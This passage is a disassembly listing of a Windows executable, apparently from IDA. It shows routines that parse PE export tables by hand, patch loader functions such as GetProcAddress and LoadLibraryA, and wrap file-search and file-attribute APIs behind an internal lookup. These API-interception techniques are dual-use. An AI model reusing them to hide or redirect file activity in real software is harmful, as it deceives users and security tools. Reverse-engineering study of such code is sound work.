mov eax, [ebp+arg_4] mov ecx, [ebp+arg_0] add ecx, [eax+24h] mov eax, [ebp+var_10] mov ax, [ecx+eax*2] mov [ebp+var_18], ax mov eax, [ebp+arg_4] mov ecx, [ebp+arg_0] add ecx, [eax+1Ch] movzx eax, [ebp+var_18] mov eax, [ecx+eax*4] add eax, [ebp+arg_0] mov [ebp+var_14], eax mov eax, [ebp+var_14] jmp short locret_41D408 ; --------------------------------------------------------------------------- loc_41D3EB: ; CODE XREF: sub_41D36C+4Ej cmp [ebp+var_C], 0 jle short loc_41D3FA mov eax, [ebp+var_10] inc eax mov [ebp+var_8], eax jmp short loc_41D401 ; --------------------------------------------------------------------------- loc_41D3FA: ; CODE XREF: sub_41D36C+83j mov eax, [ebp+var_10] dec eax mov [ebp+var_4], eax loc_41D401: ; CODE XREF: sub_41D36C+8Cj jmp loc_41D380 ; --------------------------------------------------------------------------- loc_41D406: ; CODE XREF: sub_41D36C+1Aj xor eax, eax locret_41D408: ; CODE XREF: sub_41D36C+7Dj leave retn sub_41D36C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D40A proc near ; CODE XREF: sub_418780+12p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 2Ch push offset dword_429018 call ds:dword_4246CC ; InitializeCriticalSection push offset dword_428FF8 call ds:dword_4246CC ; InitializeCriticalSection push 28h call sub_41BA4A pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41D449 push 83h mov ecx, [ebp+var_8] call sub_41EA57 mov [ebp+var_1C], eax jmp short loc_41D44D ; --------------------------------------------------------------------------- loc_41D449: ; CODE XREF: sub_41D40A+2Bj and [ebp+var_1C], 0 loc_41D44D: ; CODE XREF: sub_41D40A+3Dj mov eax, [ebp+var_1C] mov ds:dword_429034, eax push 28h call sub_41BA4A pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_41D475 push 9 mov ecx, [ebp+var_C] call sub_41EA57 mov [ebp+var_20], eax jmp short loc_41D479 ; --------------------------------------------------------------------------- loc_41D475: ; CODE XREF: sub_41D40A+5Aj and [ebp+var_20], 0 loc_41D479: ; CODE XREF: sub_41D40A+69j mov eax, [ebp+var_20] mov ds:dword_429038, eax push 28h call sub_41BA4A pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_41D4A1 push 9 mov ecx, [ebp+var_10] call sub_41EA57 mov [ebp+var_24], eax jmp short loc_41D4A5 ; --------------------------------------------------------------------------- loc_41D4A1: ; CODE XREF: sub_41D40A+86j and [ebp+var_24], 0 loc_41D4A5: ; CODE XREF: sub_41D40A+95j mov eax, [ebp+var_24] mov ds:dword_4248AC, eax push 28h call sub_41BA4A pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz short loc_41D4CD push 9 mov ecx, [ebp+var_14] call sub_41EA57 mov [ebp+var_28], eax jmp short loc_41D4D1 ; --------------------------------------------------------------------------- loc_41D4CD: ; CODE XREF: sub_41D40A+B2j and [ebp+var_28], 0 loc_41D4D1: ; CODE XREF: sub_41D40A+C1j mov eax, [ebp+var_28] mov ds:dword_4248B4, eax push 28h call sub_41BA4A pop ecx mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short loc_41D4F9 push 9 mov ecx, [ebp+var_18] call sub_41EA57 mov [ebp+var_2C], eax jmp short loc_41D4FD ; --------------------------------------------------------------------------- loc_41D4F9: ; CODE XREF: sub_41D40A+DEj and [ebp+var_2C], 0 loc_41D4FD: ; CODE XREF: sub_41D40A+EDj mov eax, [ebp+var_2C] mov ds:dword_4248B0, eax push offset dword_4215AC push 2Bh push offset off_424220 call sub_41D579 add esp, 0Ch push offset dword_4215BC push 2 push offset off_424378 call sub_41D579 add esp, 0Ch push offset dword_4215C8 push 1 push offset off_424388 call sub_41D579 add esp, 0Ch push offset dword_4215D4 push 3 push offset off_424390 call sub_41D579 add esp, 0Ch push offset dword_4215F0 push 2 push offset off_4243A8 call sub_41D579 add esp, 0Ch push offset dword_4215AC call ds:dword_424698 ; GetModuleHandleA mov [ebp+var_4], eax leave retn sub_41D40A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D579 proc near ; CODE XREF: sub_41D40A+107p ; sub_41D40A+11Bp ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h and [ebp+var_4], 0 push [ebp+arg_8] call ds:dword_424698 ; GetModuleHandleA mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_41D5A1 push [ebp+arg_8] call ds:dword_4246DC ; LoadLibraryA mov [ebp+var_10], eax loc_41D5A1: ; CODE XREF: sub_41D579+1Aj cmp [ebp+var_10], 0 jnz short loc_41D5BD push ds:off_4214F0 push 0C9h push ds:off_4214F4 call sub_41BB7C loc_41D5BD: ; CODE XREF: sub_41D579+2Cj push 1 push [ebp+var_10] mov ecx, ds:dword_429038 call sub_41EC69 mov eax, [ebp+var_10] and eax, 0FFFh test eax, eax jz short loc_41D5F5 mov eax, [ebp+var_10] and ax, 0F000h mov [ebp+var_8], eax push 1 push [ebp+var_8] mov ecx, ds:dword_429038 call sub_41EC69 jmp short loc_41D5FB ; --------------------------------------------------------------------------- loc_41D5F5: ; CODE XREF: sub_41D579+5Ej mov eax, [ebp+var_10] mov [ebp+var_8], eax loc_41D5FB: ; CODE XREF: sub_41D579+7Aj mov eax, [ebp+var_8] mov ecx, [ebp+var_8] add ecx, [eax+3Ch] mov [ebp+var_C], ecx mov eax, [ebp+var_C] cmp dword ptr [eax], 4550h jnz short loc_41D61E mov eax, [ebp+var_C] mov ecx, [ebp+var_8] add ecx, [eax+78h] mov [ebp+var_4], ecx loc_41D61E: ; CODE XREF: sub_41D579+97j and [ebp+var_14], 0 jmp short loc_41D62B ; --------------------------------------------------------------------------- loc_41D624: ; CODE XREF: sub_41D579:loc_41D6B8j mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_41D62B: ; CODE XREF: sub_41D579+A9j mov eax, [ebp+var_14] cmp eax, [ebp+arg_4] jnb loc_41D6BD mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*8+4] push [ebp+var_10] call ds:dword_4246A8 ; GetProcAddress mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short loc_41D66B mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] lea eax, [ecx+eax*8] push eax push [ebp+var_18] mov ecx, ds:dword_429034 call sub_41EC69 loc_41D66B: ; CODE XREF: sub_41D579+D8j cmp [ebp+var_4], 0 jz short loc_41D6B8 mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*8+4] push [ebp+var_4] push [ebp+var_8] call sub_41D36C add esp, 0Ch mov [ebp+var_1C], eax mov eax, [ebp+var_18] cmp eax, [ebp+var_1C] jz short loc_41D6B8 cmp [ebp+var_1C], 0 jz short loc_41D6B8 cmp [ebp+var_18], 0 jz short loc_41D6B8 mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] lea eax, [ecx+eax*8] push eax push [ebp+var_1C] mov ecx, ds:dword_429034 call sub_41EC69 loc_41D6B8: ; CODE XREF: sub_41D579+F6j ; sub_41D579+119j ... jmp loc_41D624 ; --------------------------------------------------------------------------- loc_41D6BD: ; CODE XREF: sub_41D579+B8j cmp [ebp+arg_8], offset dword_4215AC jnz short locret_41D6F0 cmp [ebp+var_4], 0 jz short locret_41D6F0 push offset aWritefile ; "WriteFile" push [ebp+var_4] push [ebp+var_8] call sub_41D36C add esp, 0Ch mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short locret_41D6F0 mov eax, [ebp+var_20] mov ds:dword_42473C, eax locret_41D6F0: ; CODE XREF: sub_41D579+14Bj ; sub_41D579+151j ... leave retn sub_41D579 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D6F2 proc near ; CODE XREF: _3:00411735p push ebp mov ebp, esp push 0 call sub_41D6FE pop ebp retn sub_41D6F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D6FE proc near ; CODE XREF: sub_41D6F2+5p ; DATA XREF: _5:00424268o var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4219A0 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp push offset dword_429018 call ds:dword_424644 ; RtlEnterCriticalSection mov ds:byte_429030, 1 push 0 call sub_41D332 and [ebp+var_4], 0 call sub_41A8B3 or [ebp+var_4], 0FFFFFFFFh jmp short loc_41D76E ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_4], 1 or [ebp+var_4], 0FFFFFFFFh jmp short loc_41D76A ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh loc_41D76A: ; CODE XREF: sub_41D6FE+5Fj or [ebp+var_4], 0FFFFFFFFh loc_41D76E: ; CODE XREF: sub_41D6FE+4Bj mov [ebp+var_4], 2 call sub_4182B0 or [ebp+var_4], 0FFFFFFFFh jmp short loc_41D7A3 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_4], 3 or [ebp+var_4], 0FFFFFFFFh jmp short loc_41D79F ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh loc_41D79F: ; CODE XREF: sub_41D6FE+94j or [ebp+var_4], 0FFFFFFFFh loc_41D7A3: ; CODE XREF: sub_41D6FE+80j mov [ebp+var_4], 4 push [ebp+arg_0] call ds:dword_424648 ; ExitProcess or [ebp+var_4], 0FFFFFFFFh jmp short loc_41D7EC ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_4], 5 or [ebp+var_4], 0FFFFFFFFh jmp short loc_41D7D8 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh loc_41D7D8: ; CODE XREF: sub_41D6FE+CDj push [ebp+arg_0] call ds:dword_424664 ; GetCurrentProcess push eax call ds:dword_424718 ; TerminateProcess or [ebp+var_4], 0FFFFFFFFh loc_41D7EC: ; CODE XREF: sub_41D6FE+B9j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_41D6FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D7FD proc near ; DATA XREF: _5:00424330o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push offset dword_4215AC push offset aSearchpatha ; "SearchPathA" call sub_41D300 pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+arg_0], 0 jnz short loc_41D843 push 0 xor edx, edx mov ecx, [ebp+arg_4] call sub_415867 test eax, eax jz short loc_41D843 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] call ds:dword_424688 ; GetFullPathNameA jmp short locret_41D858 ; --------------------------------------------------------------------------- loc_41D843: ; CODE XREF: sub_41D7FD+20j ; sub_41D7FD+30j push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_4] locret_41D858: ; CODE XREF: sub_41D7FD+44j leave retn 18h sub_41D7FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D85C proc near ; DATA XREF: _5:00424328o var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4219E8 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 18h push ebx push esi push edi and [ebp+var_20], 0 and [ebp+var_1C], 0 and [ebp+var_4], 0 cmp [ebp+arg_0], 0 jnz short loc_41D8CC push 104h call sub_41BA4A pop ecx mov [ebp+var_24], eax mov eax, [ebp+var_24] mov [ebp+var_20], eax push 41h pop ecx xor eax, eax mov edi, [ebp+var_20] rep stosd push 0 push 0 push 104h push [ebp+var_20] push 0FFFFFFFFh push [ebp+arg_4] push 0 push 0 call ds:dword_424738 ; WideCharToMultiByte loc_41D8CC: ; CODE XREF: sub_41D85C+35j cmp [ebp+arg_0], 0 jnz short loc_41D909 push 0 xor edx, edx mov ecx, [ebp+var_20] call sub_415867 test eax, eax jz short loc_41D909 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] call ds:dword_42468C ; GetFullPathNameW push 0FFFFFFFFh mov [ebp+var_2C], eax lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_2C] jmp short loc_41D959 ; --------------------------------------------------------------------------- loc_41D909: ; CODE XREF: sub_41D85C+74j ; sub_41D85C+84j push offset dword_4215AC push offset aSearchpathw ; "SearchPathW" call sub_41D300 pop ecx pop ecx mov [ebp+var_1C], eax push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_1C] push 0FFFFFFFFh mov [ebp+var_30], eax lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_30] jmp short loc_41D959 ; --------------------------------------------------------------------------- loc_41D947: ; DATA XREF: _4:004219F0o mov eax, [ebp+var_20] mov [ebp+var_28], eax push [ebp+var_28] call sub_41BACD pop ecx retn ; --------------------------------------------------------------------------- xor eax, eax loc_41D959: ; CODE XREF: sub_41D85C+ABj ; sub_41D85C+E9j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 18h sub_41D85C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D96A proc near ; DATA XREF: _5:004242C0o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_41365E test eax, eax jnz short loc_41D990 push [ebp+arg_4] push [ebp+arg_0] call ds:dword_424650 ; FindFirstFileA mov [ebp+var_4], eax loc_41D990: ; CODE XREF: sub_41D96A+15j mov eax, [ebp+var_4] leave retn 8 sub_41D96A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D997 proc near ; DATA XREF: _5:004242C8o var_168 = dword ptr -168h var_164 = dword ptr -164h var_160 = byte ptr -160h var_134 = byte ptr -134h var_30 = byte ptr -30h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0041DACC SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4219F8 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 154h push ebx push esi push edi and [ebp+var_20], 0 and [ebp+var_4], 0 push 104h call sub_41BA4A pop ecx mov [ebp+var_168], eax mov eax, [ebp+var_168] mov [ebp+var_20], eax push 41h pop ecx xor eax, eax mov edi, [ebp+var_20] rep stosd push 0 push 0 push 104h push [ebp+var_20] push 0FFFFFFFFh push [ebp+arg_0] push 0 push 0 call ds:dword_424738 ; WideCharToMultiByte lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_160] push eax push [ebp+var_20] call sub_41365E test eax, eax jnz short loc_41DA4C and [ebp+var_164], 0 push offset dword_4215AC push offset aFindfirstfilew ; "FindFirstFileW" call sub_41D300 pop ecx pop ecx mov [ebp+var_164], eax push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_164] mov [ebp+var_1C], eax jmp short loc_41DAAB ; --------------------------------------------------------------------------- loc_41DA4C: ; CODE XREF: sub_41D997+84j lea ecx, [ebp+var_134] lea eax, [ebp+var_160] sub ecx, eax lea esi, [ebp+var_160] mov edi, [ebp+arg_4] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 104h mov eax, [ebp+arg_4] add eax, 2Ch push eax push 0FFFFFFFFh lea eax, [ebp+var_134] push eax push 0 push 0 call ds:dword_4246F0 ; MultiByteToWideChar push 0Eh mov eax, [ebp+arg_4] add eax, 234h push eax push 0Eh lea eax, [ebp+var_30] push eax push 0 push 0 call ds:dword_4246F0 ; MultiByteToWideChar loc_41DAAB: ; CODE XREF: sub_41D997+B3j or [ebp+var_4], 0FFFFFFFFh call sub_41DAB6 jmp short loc_41DACC sub_41D997 endp ; =============== S U B R O U T I N E ======================================= sub_41DAB6 proc near ; CODE XREF: sub_41D997+118p ; DATA XREF: _4:00421A00o mov eax, [ebp-20h] mov [ebp-16Ch], eax push dword ptr [ebp-16Ch] call sub_41BACD pop ecx retn sub_41DAB6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41D997 loc_41DACC: ; CODE XREF: sub_41D997+11Dj mov eax, [ebp+var_1C] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 8 ; END OF FUNCTION CHUNK FOR sub_41D997 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DAE0 proc near ; DATA XREF: _5:004242D0o var_168 = dword ptr -168h var_164 = dword ptr -164h var_160 = byte ptr -160h var_134 = byte ptr -134h var_30 = byte ptr -30h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch ; FUNCTION CHUNK AT 0041DC21 SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421A08 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 154h push ebx push esi push edi and [ebp+var_20], 0 and [ebp+var_4], 0 push 104h call sub_41BA4A pop ecx mov [ebp+var_168], eax mov eax, [ebp+var_168] mov [ebp+var_20], eax push 41h pop ecx xor eax, eax mov edi, [ebp+var_20] rep stosd push 0 push 0 push 104h push [ebp+var_20] push 0FFFFFFFFh push [ebp+arg_0] push 0 push 0 call ds:dword_424738 ; WideCharToMultiByte lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_160] push eax push [ebp+var_20] call sub_41365E test eax, eax jnz short loc_41DBA1 and [ebp+var_164], 0 push offset dword_4215AC push offset aFindfirstfilee ; "FindFirstFileExW" call sub_41D300 pop ecx pop ecx mov [ebp+var_164], eax push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_164] mov [ebp+var_1C], eax jmp short loc_41DC00 ; --------------------------------------------------------------------------- loc_41DBA1: ; CODE XREF: sub_41DAE0+84j lea ecx, [ebp+var_134] lea eax, [ebp+var_160] sub ecx, eax lea esi, [ebp+var_160] mov edi, [ebp+arg_8] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 104h mov eax, [ebp+arg_8] add eax, 2Ch push eax push 0FFFFFFFFh lea eax, [ebp+var_134] push eax push 0 push 0 call ds:dword_4246F0 ; MultiByteToWideChar push 0Eh mov eax, [ebp+arg_8] add eax, 234h push eax push 0Eh lea eax, [ebp+var_30] push eax push 0 push 0 call ds:dword_4246F0 ; MultiByteToWideChar loc_41DC00: ; CODE XREF: sub_41DAE0+BFj or [ebp+var_4], 0FFFFFFFFh call sub_41DC0B jmp short loc_41DC21 sub_41DAE0 endp ; =============== S U B R O U T I N E ======================================= sub_41DC0B proc near ; CODE XREF: sub_41DAE0+124p ; DATA XREF: _4:00421A10o mov eax, [ebp-20h] mov [ebp-16Ch], eax push dword ptr [ebp-16Ch] call sub_41BACD pop ecx retn sub_41DC0B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41DAE0 loc_41DC21: ; CODE XREF: sub_41DAE0+129j mov eax, [ebp+var_1C] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 18h ; END OF FUNCTION CHUNK FOR sub_41DAE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DC35 proc near ; DATA XREF: _5:004242D8o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_413838 test eax, eax jnz short loc_41DC55 push [ebp+arg_0] call ds:dword_42464C ; FindClose mov [ebp+var_4], eax loc_41DC55: ; CODE XREF: sub_41DC35+12j mov eax, [ebp+var_4] leave retn 4 sub_41DC35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DC5C proc near ; DATA XREF: _5:004242E0o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 lea eax, [ebp+var_4] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4136FE test eax, eax jnz short loc_41DC86 push [ebp+arg_4] push [ebp+arg_0] call ds:dword_424654 ; FindNextFileA mov [ebp+var_4], eax loc_41DC86: ; CODE XREF: sub_41DC5C+19j mov eax, [ebp+var_4] leave retn 8 sub_41DC5C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DC8D proc near ; DATA XREF: _5:004242E8o var_148 = dword ptr -148h var_144 = byte ptr -144h var_118 = byte ptr -118h var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 148h push esi push edi lea eax, [ebp+var_4] push eax lea eax, [ebp+var_144] push eax push [ebp+arg_0] call sub_4136FE test eax, eax jnz short loc_41DCDE and [ebp+var_148], 0 push offset dword_4215AC push offset aFindnextfilew ; "FindNextFileW" call sub_41D300 pop ecx pop ecx mov [ebp+var_148], eax push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_148] mov [ebp+var_4], eax jmp short loc_41DD3D ; --------------------------------------------------------------------------- loc_41DCDE: ; CODE XREF: sub_41DC8D+20j lea ecx, [ebp+var_118] lea eax, [ebp+var_144] sub ecx, eax lea esi, [ebp+var_144] mov edi, [ebp+arg_4] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 104h mov eax, [ebp+arg_4] add eax, 2Ch push eax push 0FFFFFFFFh lea eax, [ebp+var_118] push eax push 0 push 0 call ds:dword_4246F0 ; MultiByteToWideChar push 0Eh mov eax, [ebp+arg_4] add eax, 234h push eax push 0Eh lea eax, [ebp+var_14] push eax push 0 push 0 call ds:dword_4246F0 ; MultiByteToWideChar loc_41DD3D: ; CODE XREF: sub_41DC8D+4Fj mov eax, [ebp+var_4] pop edi pop esi leave retn 8 sub_41DC8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DD46 proc near ; DATA XREF: _5:00424358o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 lea eax, [ebp+var_4] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_414856 test eax, eax jnz short loc_41DD70 push [ebp+arg_4] push [ebp+arg_0] call ds:dword_42467C ; GetFileInformationByHandle mov [ebp+var_4], eax loc_41DD70: ; CODE XREF: sub_41DD46+19j mov eax, [ebp+var_4] leave retn 8 sub_41DD46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DD77 proc near ; DATA XREF: _5:00424360o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push [ebp+arg_0] call sub_41494E test eax, eax jnz short loc_41DDA5 push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4246E8 ; LockFile mov [ebp+var_4], eax jmp short loc_41DDAC ; --------------------------------------------------------------------------- loc_41DDA5: ; CODE XREF: sub_41DD77+12j mov [ebp+var_4], 1 loc_41DDAC: ; CODE XREF: sub_41DD77+2Cj mov eax, [ebp+var_4] leave retn 14h sub_41DD77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DDB3 proc near ; DATA XREF: _5:00424368o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push [ebp+arg_0] call sub_41494E test eax, eax jnz short loc_41DDDE push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_42471C ; UnlockFile jmp short locret_41DDE1 ; --------------------------------------------------------------------------- loc_41DDDE: ; CODE XREF: sub_41DDB3+12j push 1 pop eax locret_41DDE1: ; CODE XREF: sub_41DDB3+29j leave retn 14h sub_41DDB3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DDE5 proc near ; DATA XREF: _5:00424238o var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx lea edx, [ebp+var_4] mov ecx, [ebp+arg_0] call sub_415B3D test eax, eax jnz short loc_41DE03 push [ebp+arg_0] call ds:dword_424674 ; GetFileAttributesA jmp short locret_41DE0F ; --------------------------------------------------------------------------- loc_41DE03: ; CODE XREF: sub_41DDE5+11j movzx eax, [ebp+var_4] neg eax sbb eax, eax and eax, 0Fh inc eax locret_41DE0F: ; CODE XREF: sub_41DDE5+1Cj leave retn 4 sub_41DDE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DE13 proc near ; DATA XREF: _5:00424240o var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 0041DECC SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421A18 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 18h push ebx push esi push edi and [ebp+var_20], 0 and [ebp+var_4], 0 push 104h call sub_41BA4A pop ecx mov [ebp+var_2C], eax mov eax, [ebp+var_2C] mov [ebp+var_20], eax push 41h pop ecx xor eax, eax mov edi, [ebp+var_20] rep stosd push 0 push 0 push 104h push [ebp+var_20] push 0FFFFFFFFh push [ebp+arg_0] push 0 push 0 call ds:dword_424738 ; WideCharToMultiByte mov [ebp+var_24], eax cmp [ebp+var_24], 103h ja short loc_41DE94 lea edx, [ebp+var_28] mov ecx, [ebp+var_20] call sub_415B3D test eax, eax jnz short loc_41DEA2 loc_41DE94: ; CODE XREF: sub_41DE13+70j push [ebp+arg_0] call ds:dword_424678 ; GetFileAttributesW mov [ebp+var_1C], eax jmp short loc_41DEB1 ; --------------------------------------------------------------------------- loc_41DEA2: ; CODE XREF: sub_41DE13+7Fj movzx eax, [ebp+var_28] neg eax sbb eax, eax and eax, 0Fh inc eax mov [ebp+var_1C], eax loc_41DEB1: ; CODE XREF: sub_41DE13+8Dj or [ebp+var_4], 0FFFFFFFFh call sub_41DEBC jmp short loc_41DECC sub_41DE13 endp ; =============== S U B R O U T I N E ======================================= sub_41DEBC proc near ; CODE XREF: sub_41DE13+A2p ; DATA XREF: _4:00421A20o mov eax, [ebp-20h] mov [ebp-30h], eax push dword ptr [ebp-30h] call sub_41BACD pop ecx retn sub_41DEBC endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41DE13 loc_41DECC: ; CODE XREF: sub_41DE13+A7j mov eax, [ebp+var_1C] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 ; END OF FUNCTION CHUNK FOR sub_41DE13 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DEE0 proc near ; DATA XREF: _5:00424260o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax push [ebp+arg_0] call 